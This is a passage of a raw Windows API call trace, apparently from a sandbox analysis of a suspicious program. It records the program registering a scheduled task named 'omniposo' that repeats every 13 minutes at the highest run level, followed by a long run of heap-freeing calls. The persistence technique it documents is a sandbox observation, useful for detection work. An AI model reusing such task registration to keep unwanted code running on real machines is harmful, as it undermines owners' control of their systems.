(_Buf1=0x1b207924ce0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.202] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x1b20792bbb0, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0116.202] lstrlenW (lpString="Third") returned 5 [0116.202] _memicmp (_Buf1=0x1b207924ce0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.202] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x1b20792bbb0, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0116.202] lstrlenW (lpString="Fourth") returned 6 [0116.202] _memicmp (_Buf1=0x1b207924ce0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.202] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x1b20792bbb0, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0116.202] lstrlenW (lpString="Last") returned 4 [0116.202] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x99ba07c440, cchData=128 | out: lpLCData="0") returned 2 [0116.202] _memicmp (_Buf1=0x1b207924ce0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.202] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x1b20792bbb0, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0116.202] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0116.202] GetProcessHeap () returned 0x1b207920000 [0116.202] GetProcessHeap () returned 0x1b207920000 [0116.203] HeapValidate (hHeap=0x1b207920000, dwFlags=0x0, lpMem=0x1b20792ab30) returned 1 [0116.203] GetProcessHeap () returned 0x1b207920000 [0116.203] RtlSizeHeap (HeapHandle=0x1b207920000, Flags=0x0, MemoryPointer=0x1b20792ab30) returned 0xc [0116.203] RtlFreeHeap (HeapHandle=0x1b207920000, Flags=0x0, BaseAddress=0x1b20792ab30) returned 1 [0116.203] GetProcessHeap () returned 0x1b207920000 [0116.203] RtlAllocateHeap (HeapHandle=0x1b207920000, Flags=0xc, Size=0x16) returned 0x1b20792aab0 [0116.203] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x99ba07c460, cchData=128 | out: lpLCData="0") returned 2 [0116.203] _memicmp (_Buf1=0x1b207924ce0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.203] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x1b20792bbb0, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0116.203] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0116.203] GetProcessHeap () returned 0x1b207920000 [0116.203] GetProcessHeap () returned 0x1b207920000 [0116.203] HeapValidate (hHeap=0x1b207920000, dwFlags=0x0, lpMem=0x1b20792a930) returned 1 [0116.203] GetProcessHeap () returned 0x1b207920000 [0116.203] RtlSizeHeap (HeapHandle=0x1b207920000, Flags=0x0, MemoryPointer=0x1b20792a930) returned 0xe [0116.203] RtlFreeHeap (HeapHandle=0x1b207920000, Flags=0x0, BaseAddress=0x1b20792a930) returned 1 [0116.203] GetProcessHeap () returned 0x1b207920000 [0116.203] RtlAllocateHeap (HeapHandle=0x1b207920000, Flags=0xc, Size=0x16) returned 0x1b20792ab30 [0116.203] GetLocalTime (in: lpSystemTime=0x99ba07c698 | out: lpSystemTime=0x99ba07c698*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0xf, wSecond=0x27, wMilliseconds=0x245)) [0116.203] lstrlenW (lpString="") returned 0 [0116.204] GetLocalTime (in: lpSystemTime=0x99ba07d088 | out: lpSystemTime=0x99ba07d088*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0xf, wSecond=0x27, wMilliseconds=0x245)) [0116.204] lstrlenW (lpString="") returned 0 [0116.204] lstrlenW (lpString="") returned 0 [0116.204] lstrlenW (lpString="") returned 0 [0116.204] lstrlenW (lpString="") returned 0 [0116.204] lstrlenW (lpString="13") returned 2 [0116.204] _wtol (_String="13") returned 13 [0116.204] lstrlenW (lpString="") returned 0 [0116.204] lstrlenW (lpString="") returned 0 [0116.204] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0116.212] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0116.347] CoCreateInstance (in: rclsid=0x7ff685139e68*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0x7ff685139e78*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0x99ba07cde0 | out: ppv=0x99ba07cde0*=0x1b2078a5750) returned 0x0 [0116.370] TaskScheduler:ITaskService:Connect (This=0x1b2078a5750, serverName=0x99ba07ced0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0x99ba07cea0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), domain=0x99ba07ce80*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x99ba07ce60*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0)) returned 0x0 [0116.408] TaskScheduler:ITaskService:GetFolder (in: This=0x1b2078a5750, Path=0x0, ppFolder=0x99ba07cfc0 | out: ppFolder=0x99ba07cfc0*=0x1b2078a5900) returned 0x0 [0116.410] TaskScheduler:ITaskService:NewTask (in: This=0x1b2078a5750, flags=0x0, ppDefinition=0x99ba07cf98 | out: ppDefinition=0x99ba07cf98*=0x1b2078a5980) returned 0x0 [0116.411] ITaskDefinition:get_Actions (in: This=0x1b2078a5980, ppActions=0x99ba07cee0 | out: ppActions=0x99ba07cee0*=0x1b2078a5a10) returned 0x0 [0116.411] IActionCollection:Create (in: This=0x1b2078a5a10, Type=0, ppAction=0x99ba07cf20 | out: ppAction=0x99ba07cf20*=0x1b2078a5e20) returned 0x0 [0116.411] IUnknown:Release (This=0x1b2078a5e20) returned 0x1 [0116.411] IUnknown:Release (This=0x1b2078a5a10) returned 0x1 [0116.411] ITaskDefinition:get_Triggers (in: This=0x1b2078a5980, ppTriggers=0x99ba07ca90 | out: ppTriggers=0x99ba07ca90*=0x1b2078a5cd0) returned 0x0 [0116.411] ITriggerCollection:Create (in: This=0x1b2078a5cd0, Type=1, ppTrigger=0x99ba07ca78 | out: ppTrigger=0x99ba07ca78*=0x1b2078a5eb0) returned 0x0 [0116.412] lstrlenW (lpString="13") returned 2 [0116.412] _vsnwprintf (in: _Buffer=0x99ba07ca00, _BufferCount=0xf, _Format="PT%sM", _ArgList=0x99ba07c9f8 | out: _Buffer="PT13M") returned 5 [0116.412] ITrigger:get_Repetition (in: This=0x1b2078a5eb0, ppRepeat=0x99ba07ca70 | out: ppRepeat=0x99ba07ca70*=0x1b2078a5f40) returned 0x0 [0116.412] IRepetitionPattern:put_Interval (This=0x1b2078a5f40, Interval="PT13M") returned 0x0 [0116.412] IUnknown:Release (This=0x1b2078a5f40) returned 0x1 [0116.412] _vsnwprintf (in: _Buffer=0x99ba07c9c0, _BufferCount=0x1f, _Format="%04u-%02u-%02dT%02u:%02u:00", _ArgList=0x99ba07c998 | out: _Buffer="2023-09-19T17:15:00") returned 19 [0116.412] ITrigger:put_StartBoundary (This=0x1b2078a5eb0, StartBoundary="2023-09-19T17:15:00") returned 0x0 [0116.412] lstrlenW (lpString="") returned 0 [0116.412] lstrlenW (lpString="") returned 0 [0116.412] lstrlenW (lpString="") returned 0 [0116.412] lstrlenW (lpString="") returned 0 [0116.412] IUnknown:Release (This=0x1b2078a5eb0) returned 0x1 [0116.412] IUnknown:Release (This=0x1b2078a5cd0) returned 0x1 [0116.412] ITaskDefinition:get_Settings (in: This=0x1b2078a5980, ppSettings=0x99ba07cf20 | out: ppSettings=0x99ba07cf20*=0x1b2078a5b50) returned 0x0 [0116.413] lstrlenW (lpString="") returned 0 [0116.413] IUnknown:Release (This=0x1b2078a5b50) returned 0x3 [0116.413] GetLocalTime (in: lpSystemTime=0x99ba07cdd8 | out: lpSystemTime=0x99ba07cdd8*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0xf, wSecond=0x27, wMilliseconds=0x310)) [0116.413] ResolveDelayLoadedAPI () returned 0x7ffa78123fa0 [0116.413] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x99ba07cdf0, nSize=0x99ba07cdc8 | out: lpNameBuffer="XC64ZB\\RDhJ0CNFevzX", nSize=0x99ba07cdc8) returned 0x1 [0116.414] ITaskDefinition:get_RegistrationInfo (in: This=0x1b2078a5980, ppRegistrationInfo=0x99ba07cdc0 | out: ppRegistrationInfo=0x99ba07cdc0*=0x1b2078a5a90) returned 0x0 [0116.414] IRegistrationInfo:put_Author (This=0x1b2078a5a90, Author="XC64ZB\\RDhJ0CNFevzX") returned 0x0 [0116.414] _vsnwprintf (in: _Buffer=0x99ba07cdf0, _BufferCount=0x7f, _Format="%d-%02d-%02dT%02d:%02d:%02d", _ArgList=0x99ba07cd88 | out: _Buffer="2023-09-19T17:15:39") returned 19 [0116.414] IRegistrationInfo:put_Date (This=0x1b2078a5a90, Date="2023-09-19T17:15:39") returned 0x0 [0116.414] IUnknown:Release (This=0x1b2078a5a90) returned 0x1 [0116.414] malloc (_Size=0x18) returned 0x1b2078a5fc0 [0116.414] free (_Block=0x1b2078a5fc0) [0116.414] lstrlenW (lpString="") returned 0 [0116.414] ITaskDefinition:get_Principal (in: This=0x1b2078a5980, ppPrincipal=0x99ba07cf88 | out: ppPrincipal=0x99ba07cf88*=0x1b2078a5d40) returned 0x0 [0116.414] IPrincipal:put_RunLevel (This=0x1b2078a5d40, RunLevel=1) returned 0x0 [0116.415] IUnknown:Release (This=0x1b2078a5d40) returned 0x1 [0116.415] malloc (_Size=0x18) returned 0x1b2078a5fc0 [0116.415] ITaskFolder:RegisterTaskDefinition (in: This=0x1b2078a5900, Path="omniposo", pDefinition=0x1b2078a5980, flags=6, UserId=0x99ba07d030*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x99ba07d010*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), LogonType=3, sddl=0x99ba07d050*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), ppTask=0x99ba07cff0 | out: ppTask=0x99ba07cff0*=0x1b2078a6fd0) returned 0x0 [0116.800] free (_Block=0x1b2078a5fc0) [0116.801] _memicmp (_Buf1=0x1b207924ce0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.801] LoadStringW (in: hInstance=0x0, uID=0x12e, lpBuffer=0x1b20792bbb0, cchBufferMax=256 | out: lpBuffer="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 0x40 [0116.801] lstrlenW (lpString="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 64 [0116.801] GetProcessHeap () returned 0x1b207920000 [0116.801] GetProcessHeap () returned 0x1b207920000 [0116.801] HeapValidate (hHeap=0x1b207920000, dwFlags=0x0, lpMem=0x1b20792a970) returned 1 [0116.801] GetProcessHeap () returned 0x1b207920000 [0116.801] RtlSizeHeap (HeapHandle=0x1b207920000, Flags=0x0, MemoryPointer=0x1b20792a970) returned 0xc [0116.801] RtlFreeHeap (HeapHandle=0x1b207920000, Flags=0x0, BaseAddress=0x1b20792a970) returned 1 [0116.801] GetProcessHeap () returned 0x1b207920000 [0116.801] RtlAllocateHeap (HeapHandle=0x1b207920000, Flags=0xc, Size=0x82) returned 0x1b207945d00 [0116.801] _vsnwprintf (in: _Buffer=0x99ba07d6a0, _BufferCount=0x1fb, _Format="SUCCESS: The scheduled task \"%s\" has successfully been created.\n", _ArgList=0x99ba07cf38 | out: _Buffer="SUCCESS: The scheduled task \"omniposo\" has successfully been created.\n") returned 70 [0116.801] __iob_func () returned 0x7ffa7941e210 [0116.801] _fileno (_File=0x7ffa7941e240) returned -2 [0116.801] _errno () returned 0x1b2078a0840 [0116.801] _get_osfhandle (_FileHandle=-2) returned 0xffffffffffffffff [0116.801] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.801] lstrlenW (lpString="SUCCESS: The scheduled task \"omniposo\" has successfully been created.\n") returned 70 [0116.801] GetConsoleOutputCP () returned 0x0 [0116.801] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"omniposo\" has successfully been created.\n", cchWideChar=70, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 70 [0116.801] GetConsoleOutputCP () returned 0x0 [0116.801] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"omniposo\" has successfully been created.\n", cchWideChar=70, lpMultiByteStr=0x7ff685148630, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SUCCESS: The scheduled task \"omniposo\" has successfully been created.\n", lpUsedDefaultChar=0x0) returned 70 [0116.802] fprintf (in: _File=0x7ffa7941e240, _Format="%s" | out: _File=0x7ffa7941e240) returned 70 [0116.802] fflush (in: _File=0x7ffa7941e240 | out: _File=0x7ffa7941e240) returned -1 [0116.802] IUnknown:Release (This=0x1b2078a6fd0) returned 0x0 [0116.802] TaskScheduler:IUnknown:Release (This=0x1b2078a5980) returned 0x0 [0116.802] TaskScheduler:IUnknown:Release (This=0x1b2078a5900) returned 0x0 [0116.802] TaskScheduler:IUnknown:Release (This=0x1b2078a5750) returned 0x0 [0116.802] lstrlenW (lpString="") returned 0 [0116.802] lstrlenW (lpString="13") returned 2 [0116.802] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="13", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0116.802] GetProcessHeap () returned 0x1b207920000 [0116.802] GetProcessHeap () returned 0x1b207920000 [0116.802] HeapValidate (hHeap=0x1b207920000, dwFlags=0x0, lpMem=0x1b20792acf0) returned 1 [0116.803] GetProcessHeap () returned 0x1b207920000 [0116.803] RtlSizeHeap (HeapHandle=0x1b207920000, Flags=0x0, MemoryPointer=0x1b20792acf0) returned 0x1fc [0116.803] RtlFreeHeap (HeapHandle=0x1b207920000, Flags=0x0, BaseAddress=0x1b20792acf0) returned 1 [0116.803] GetProcessHeap () returned 0x1b207920000 [0116.803] GetProcessHeap () returned 0x1b207920000 [0116.803] HeapValidate (hHeap=0x1b207920000, dwFlags=0x0, lpMem=0x1b207924f00) returned 1 [0116.803] GetProcessHeap () returned 0x1b207920000 [0116.803] RtlSizeHeap (HeapHandle=0x1b207920000, Flags=0x0, MemoryPointer=0x1b207924f00) returned 0x6 [0116.803] RtlFreeHeap (HeapHandle=0x1b207920000, Flags=0x0, BaseAddress=0x1b207924f00) returned 1 [0116.803] GetProcessHeap () returned 0x1b207920000 [0116.803] GetProcessHeap () returned 0x1b207920000 [0116.803] HeapValidate (hHeap=0x1b207920000, dwFlags=0x0, lpMem=0x1b20792acb0) returned 1 [0116.803] GetProcessHeap () returned 0x1b207920000 [0116.803] RtlSizeHeap (HeapHandle=0x1b207920000, Flags=0x0, MemoryPointer=0x1b20792acb0) returned 0x16 [0116.803] RtlFreeHeap (HeapHandle=0x1b207920000, Flags=0x0, BaseAddress=0x1b20792acb0) returned 1 [0116.803] GetProcessHeap () returned 0x1b207920000 [0116.804] GetProcessHeap () returned 0x1b207920000 [0116.804] HeapValidate (hHeap=0x1b207920000, dwFlags=0x0, lpMem=0x1b20792ab10) returned 1 [0116.804] GetProcessHeap () returned 0x1b207920000 [0116.804] RtlSizeHeap (HeapHandle=0x1b207920000, Flags=0x0, MemoryPointer=0x1b20792ab10) returned 0x18 [0116.804] RtlFreeHeap (HeapHandle=0x1b207920000, Flags=0x0, BaseAddress=0x1b20792ab10) returned 1 [0116.804] GetProcessHeap () returned 0x1b207920000 [0116.804] GetProcessHeap () returned 0x1b207920000 [0116.804] HeapValidate (hHeap=0x1b207920000, dwFlags=0x0, lpMem=0x1b20792b780) returned 1 [0116.804] GetProcessHeap () returned 0x1b207920000 [0116.804] RtlSizeHeap (HeapHandle=0x1b207920000, Flags=0x0, MemoryPointer=0x1b20792b780) returned 0x20 [0116.804] RtlFreeHeap (HeapHandle=0x1b207920000, Flags=0x0, BaseAddress=0x1b20792b780) returned 1 [0116.804] GetProcessHeap () returned 0x1b207920000 [0116.804] GetProcessHeap () returned 0x1b207920000 [0116.804] HeapValidate (hHeap=0x1b207920000, dwFlags=0x0, lpMem=0x1b2079238e0) returned 1 [0116.804] GetProcessHeap () returned 0x1b207920000 [0116.804] RtlSizeHeap (HeapHandle=0x1b207920000, Flags=0x0, MemoryPointer=0x1b2079238e0) returned 0xa0 [0116.805] RtlFreeHeap (HeapHandle=0x1b207920000, Flags=0x0, BaseAddress=0x1b2079238e0) returned 1 [0116.805] GetProcessHeap () returned 0x1b207920000 [0116.805] GetProcessHeap () returned 0x1b207920000 [0116.805] HeapValidate (hHeap=0x1b207920000, dwFlags=0x0, lpMem=0x1b207924cc0) returned 1 [0116.805] GetProcessHeap () returned 0x1b207920000 [0116.805] RtlSizeHeap (HeapHandle=0x1b207920000, Flags=0x0, MemoryPointer=0x1b207924cc0) returned 0x18 [0116.805] RtlFreeHeap (HeapHandle=0x1b207920000, Flags=0x0, BaseAddress=0x1b207924cc0) returned 1 [0116.805] GetProcessHeap () returned 0x1b207920000 [0116.805] GetProcessHeap () returned 0x1b207920000 [0116.805] HeapValidate (hHeap=0x1b207920000, dwFlags=0x0, lpMem=0x1b20792b540) returned 1 [0116.805] GetProcessHeap () returned 0x1b207920000 [0116.805] RtlSizeHeap (HeapHandle=0x1b207920000, Flags=0x0, MemoryPointer=0x1b20792b540) returned 0x20 [0116.805] RtlFreeHeap (HeapHandle=0x1b207920000, Flags=0x0, BaseAddress=0x1b20792b540) returned 1 [0116.805] GetProcessHeap () returned 0x1b207920000 [0116.805] GetProcessHeap () returned 0x1b207920000 [0116.805] HeapValidate (hHeap=0x1b207920000, dwFlags=0x0, lpMem=0x1b207924760) returned 1 [0116.805] GetProcessHeap () returned 0x1b207920000 [0116.805] RtlSizeHeap (HeapHandle=0x1b207920000, Flags=0x0, MemoryPointer=0x1b207924760) returned 0x9a [0116.806] RtlFreeHeap (HeapHandle=0x1b207920000, Flags=0x0, BaseAddress=0x1b207924760) returned 1 [0116.806] GetProcessHeap () returned 0x1b207920000 [0116.806] GetProcessHeap () returned 0x1b207920000 [0116.806] HeapValidate (hHeap=0x1b207920000, dwFlags=0x0, lpMem=0x1b20792abf0) returned 1 [0116.806] GetProcessHeap () returned 0x1b207920000 [0116.806] RtlSizeHeap (HeapHandle=0x1b207920000, Flags=0x0, MemoryPointer=0x1b20792abf0) returned 0x18 [0116.806] RtlFreeHeap (HeapHandle=0x1b207920000, Flags=0x0, BaseAddress=0x1b20792abf0) returned 1 [0116.806] GetProcessHeap () returned 0x1b207920000 [0116.806] GetProcessHeap () returned 0x1b207920000 [0116.806] HeapValidate (hHeap=0x1b207920000, dwFlags=0x0, lpMem=0x1b20792b720) returned 1 [0116.806] GetProcessHeap () returned 0x1b207920000 [0116.806] RtlSizeHeap (HeapHandle=0x1b207920000, Flags=0x0, MemoryPointer=0x1b20792b720) returned 0x20 [0116.806] RtlFreeHeap (HeapHandle=0x1b207920000, Flags=0x0, BaseAddress=0x1b20792b720) returned 1 [0116.806] GetProcessHeap () returned 0x1b207920000 [0116.806] GetProcessHeap () returned 0x1b207920000 [0116.806] HeapValidate (hHeap=0x1b207920000, dwFlags=0x0, lpMem=0x1b207923bb0) returned 1 [0116.806] GetProcessHeap () returned 0x1b207920000 [0116.806] RtlSizeHeap (HeapHandle=0x1b207920000, Flags=0x0, MemoryPointer=0x1b207923bb0) returned 0x9c [0116.807] RtlFreeHeap (HeapHandle=0x1b207920000, Flags=0x0, BaseAddress=0x1b207923bb0) returned 1 [0116.807] GetProcessHeap () returned 0x1b207920000 [0116.807] GetProcessHeap () returned 0x1b207920000 [0116.807] HeapValidate (hHeap=0x1b207920000, dwFlags=0x0, lpMem=0x1b20792a9d0) returned 1 [0116.807] GetProcessHeap () returned 0x1b207920000 [0116.807] RtlSizeHeap (HeapHandle=0x1b207920000, Flags=0x0, MemoryPointer=0x1b20792a9d0) returned 0x18 [0116.807] RtlFreeHeap (HeapHandle=0x1b207920000, Flags=0x0, BaseAddress=0x1b20792a9d0) returned 1 [0116.807] GetProcessHeap () returned 0x1b207920000 [0116.807] GetProcessHeap () returned 0x1b207920000 [0116.807] HeapValidate (hHeap=0x1b207920000, dwFlags=0x0, lpMem=0x1b207929240) returned 1 [0116.807] GetProcessHeap () returned 0x1b207920000 [0116.807] RtlSizeHeap (HeapHandle=0x1b207920000, Flags=0x0, MemoryPointer=0x1b207929240) returned 0x20 [0116.807] RtlFreeHeap (HeapHandle=0x1b207920000, Flags=0x0, BaseAddress=0x1b207929240) returned 1 [0116.807] GetProcessHeap () returned 0x1b207920000 [0116.807] GetProcessHeap () returned 0x1b207920000 [0116.807] HeapValidate (hHeap=0x1b207920000, dwFlags=0x0, lpMem=0x1b20792ac10) returned 1 [0116.808] GetProcessHeap () returned 0x1b207920000 [0116.808] RtlSizeHeap (HeapHandle=0x1b207920000, Flags=0x0, MemoryPointer=0x1b20792ac10) returned 0xe [0116.808] RtlFreeHeap (HeapHandle=0x1b207920000, Flags=0x0, BaseAddress=0x1b20792ac10) returned 1 [0116.808] GetProcessHeap () returned 0x1b207920000 [0116.808] GetProcessHeap () returned 0x1b207920000 [0116.808] HeapValidate (hHeap=0x1b207920000, dwFlags=0x0, lpMem=0x1b207924820) returned 1 [0116.808] GetProcessHeap () returned 0x1b207920000 [0116.808] RtlSizeHeap (HeapHandle=0x1b207920000, Flags=0x0, MemoryPointer=0x1b207924820) returned 0x18 [0116.808] RtlFreeHeap (HeapHandle=0x1b207920000, Flags=0x0, BaseAddress=0x1b207924820) returned 1 [0116.808] GetProcessHeap () returned 0x1b207920000 [0116.808] GetProcessHeap () returned 0x1b207920000 [0116.808] HeapValidate (hHeap=0x1b207920000, dwFlags=0x0, lpMem=0x1b2079291e0) returned 1 [0116.808] GetProcessHeap () returned 0x1b207920000 [0116.808] RtlSizeHeap (HeapHandle=0x1b207920000, Flags=0x0, MemoryPointer=0x1b2079291e0) returned 0x20 [0116.808] RtlFreeHeap (HeapHandle=0x1b207920000, Flags=0x0, BaseAddress=0x1b2079291e0) returned 1 [0116.808] GetProcessHeap () returned 0x1b207920000 [0116.808] GetProcessHeap () returned 0x1b207920000 [0116.808] HeapValidate (hHeap=0x1b207920000, dwFlags=0x0, lpMem=0x1b207929b80) returned 1 [0116.808] GetProcessHeap () returned 0x1b207920000 [0116.808] RtlSizeHeap (HeapHandle=0x1b207920000, Flags=0x0, MemoryPointer=0x1b207929b80) returned 0x208 [0116.809] RtlFreeHeap (HeapHandle=0x1b207920000, Flags=0x0, BaseAddress=0x1b207929b80) returned 1 [0116.809] GetProcessHeap () returned 0x1b207920000 [0116.809] GetProcessHeap () returned 0x1b207920000 [0116.809] HeapValidate (hHeap=0x1b207920000, dwFlags=0x0, lpMem=0x1b207924ca0) returned 1 [0116.809] GetProcessHeap () returned 0x1b207920000 [0116.809] RtlSizeHeap (HeapHandle=0x1b207920000, Flags=0x0, MemoryPointer=0x1b207924ca0) returned 0x18 [0116.809] RtlFreeHeap (HeapHandle=0x1b207920000, Flags=0x0, BaseAddress=0x1b207924ca0) returned 1 [0116.809] GetProcessHeap () returned 0x1b207920000 [0116.809] GetProcessHeap () returned 0x1b207920000 [0116.809] HeapValidate (hHeap=0x1b207920000, dwFlags=0x0, lpMem=0x1b207929060) returned 1 [0116.809] GetProcessHeap () returned 0x1b207920000 [0116.809] RtlSizeHeap (HeapHandle=0x1b207920000, Flags=0x0, MemoryPointer=0x1b207929060) returned 0x20 [0116.810] RtlFreeHeap (HeapHandle=0x1b207920000, Flags=0x0, BaseAddress=0x1b207929060) returned 1 [0116.810] GetProcessHeap () returned 0x1b207920000 [0116.810] GetProcessHeap () returned 0x1b207920000 [0116.810] HeapValidate (hHeap=0x1b207920000, dwFlags=0x0, lpMem=0x1b20792bbb0) returned 1 [0116.810] GetProcessHeap () returned 0x1b207920000 [0116.810] RtlSizeHeap (HeapHandle=0x1b207920000, Flags=0x0, MemoryPointer=0x1b20792bbb0) returned 0x200 [0116.810] RtlFreeHeap (HeapHandle=0x1b207920000, Flags=0x0, BaseAddress=0x1b20792bbb0) returned 1 [0116.812] GetProcessHeap () returned 0x1b207920000 [0116.812] GetProcessHeap () returned 0x1b207920000 [0116.812] HeapValidate (hHeap=0x1b207920000, dwFlags=0x0, lpMem=0x1b207924ce0) returned 1 [0116.812] GetProcessHeap () returned 0x1b207920000 [0116.812] RtlSizeHeap (HeapHandle=0x1b207920000, Flags=0x0, MemoryPointer=0x1b207924ce0) returned 0x18 [0116.812] RtlFreeHeap (HeapHandle=0x1b207920000, Flags=0x0, BaseAddress=0x1b207924ce0) returned 1 [0116.812] GetProcessHeap () returned 0x1b207920000 [0116.812] GetProcessHeap () returned 0x1b207920000 [0116.812] HeapValidate (hHeap=0x1b207920000, dwFlags=0x0, lpMem=0x1b207928fd0) returned 1 [0116.812] GetProcessHeap () returned 0x1b207920000 [0116.812] RtlSizeHeap (HeapHandle=0x1b207920000, Flags=0x0, MemoryPointer=0x1b207928fd0) returned 0x20 [0116.813] RtlFreeHeap (HeapHandle=0x1b207920000, Flags=0x0, BaseAddress=0x1b207928fd0) returned 1 [0116.813] GetProcessHeap () returned 0x1b207920000 [0116.813] GetProcessHeap () returned 0x1b207920000 [0116.813] HeapValidate (hHeap=0x1b207920000, dwFlags=0x0, lpMem=0x1b207924420) returned 1 [0116.813] GetProcessHeap () returned 0x1b207920000 [0116.813] RtlSizeHeap (HeapHandle=0x1b207920000, Flags=0x0, MemoryPointer=0x1b207924420) returned 0x14 [0116.813] RtlFreeHeap (HeapHandle=0x1b207920000, Flags=0x0, BaseAddress=0x1b207924420) returned 1 [0116.813] GetProcessHeap () returned 0x1b207920000 [0116.813] GetProcessHeap () returned 0x1b207920000 [0116.813] HeapValidate (hHeap=0x1b207920000, dwFlags=0x0, lpMem=0x1b207924400) returned 1 [0116.813] GetProcessHeap () returned 0x1b207920000 [0116.813] RtlSizeHeap (HeapHandle=0x1b207920000, Flags=0x0, MemoryPointer=0x1b207924400) returned 0x18 [0116.813] RtlFreeHeap (HeapHandle=0x1b207920000, Flags=0x0, BaseAddress=0x1b207924400) returned 1 [0116.813] GetProcessHeap () returned 0x1b207920000 [0116.813] GetProcessHeap () returned 0x1b207920000 [0116.813] HeapValidate (hHeap=0x1b207920000, dwFlags=0x0, lpMem=0x1b207929030) returned 1 [0116.813] GetProcessHeap () returned 0x1b207920000 [0116.813] RtlSizeHeap (HeapHandle=0x1b207920000, Flags=0x0, MemoryPointer=0x1b207929030) returned 0x20 [0116.813] RtlFreeHeap (HeapHandle=0x1b207920000, Flags=0x0, BaseAddress=0x1b207929030) returned 1 [0116.814] GetProcessHeap () returned 0x1b207920000 [0116.814] GetProcessHeap () returned 0x1b207920000 [0116.814] HeapValidate (hHeap=0x1b207920000, dwFlags=0x0, lpMem=0x1b207924730) returned 1 [0116.814] GetProcessHeap () returned 0x1b207920000 [0116.814] RtlSizeHeap (HeapHandle=0x1b207920000, Flags=0x0, MemoryPointer=0x1b207924730) returned 0x16 [0116.814] RtlFreeHeap (HeapHandle=0x1b207920000, Flags=0x0, BaseAddress=0x1b207924730) returned 1 [0116.814] GetProcessHeap () returned 0x1b207920000 [0116.814] GetProcessHeap () returned 0x1b207920000 [0116.814] HeapValidate (hHeap=0x1b207920000, dwFlags=0x0, lpMem=0x1b2079243c0) returned 1 [0116.814] GetProcessHeap () returned 0x1b207920000 [0116.814] RtlSizeHeap (HeapHandle=0x1b207920000, Flags=0x0, MemoryPointer=0x1b2079243c0) returned 0x18 [0116.814] RtlFreeHeap (HeapHandle=0x1b207920000, Flags=0x0, BaseAddress=0x1b2079243c0) returned 1 [0116.814] GetProcessHeap () returned 0x1b207920000 [0116.814] GetProcessHeap () returned 0x1b207920000 [0116.814] HeapValidate (hHeap=0x1b207920000, dwFlags=0x0, lpMem=0x1b207928fa0) returned 1 [0116.814] GetProcessHeap () returned 0x1b207920000 [0116.814] RtlSizeHeap (HeapHandle=0x1b207920000, Flags=0x0, MemoryPointer=0x1b207928fa0) returned 0x20 [0116.814] RtlFreeHeap (HeapHandle=0x1b207920000, Flags=0x0, BaseAddress=0x1b207928fa0) returned 1 [0116.814] GetProcessHeap () returned 0x1b207920000 [0116.814] GetProcessHeap () returned 0x1b207920000 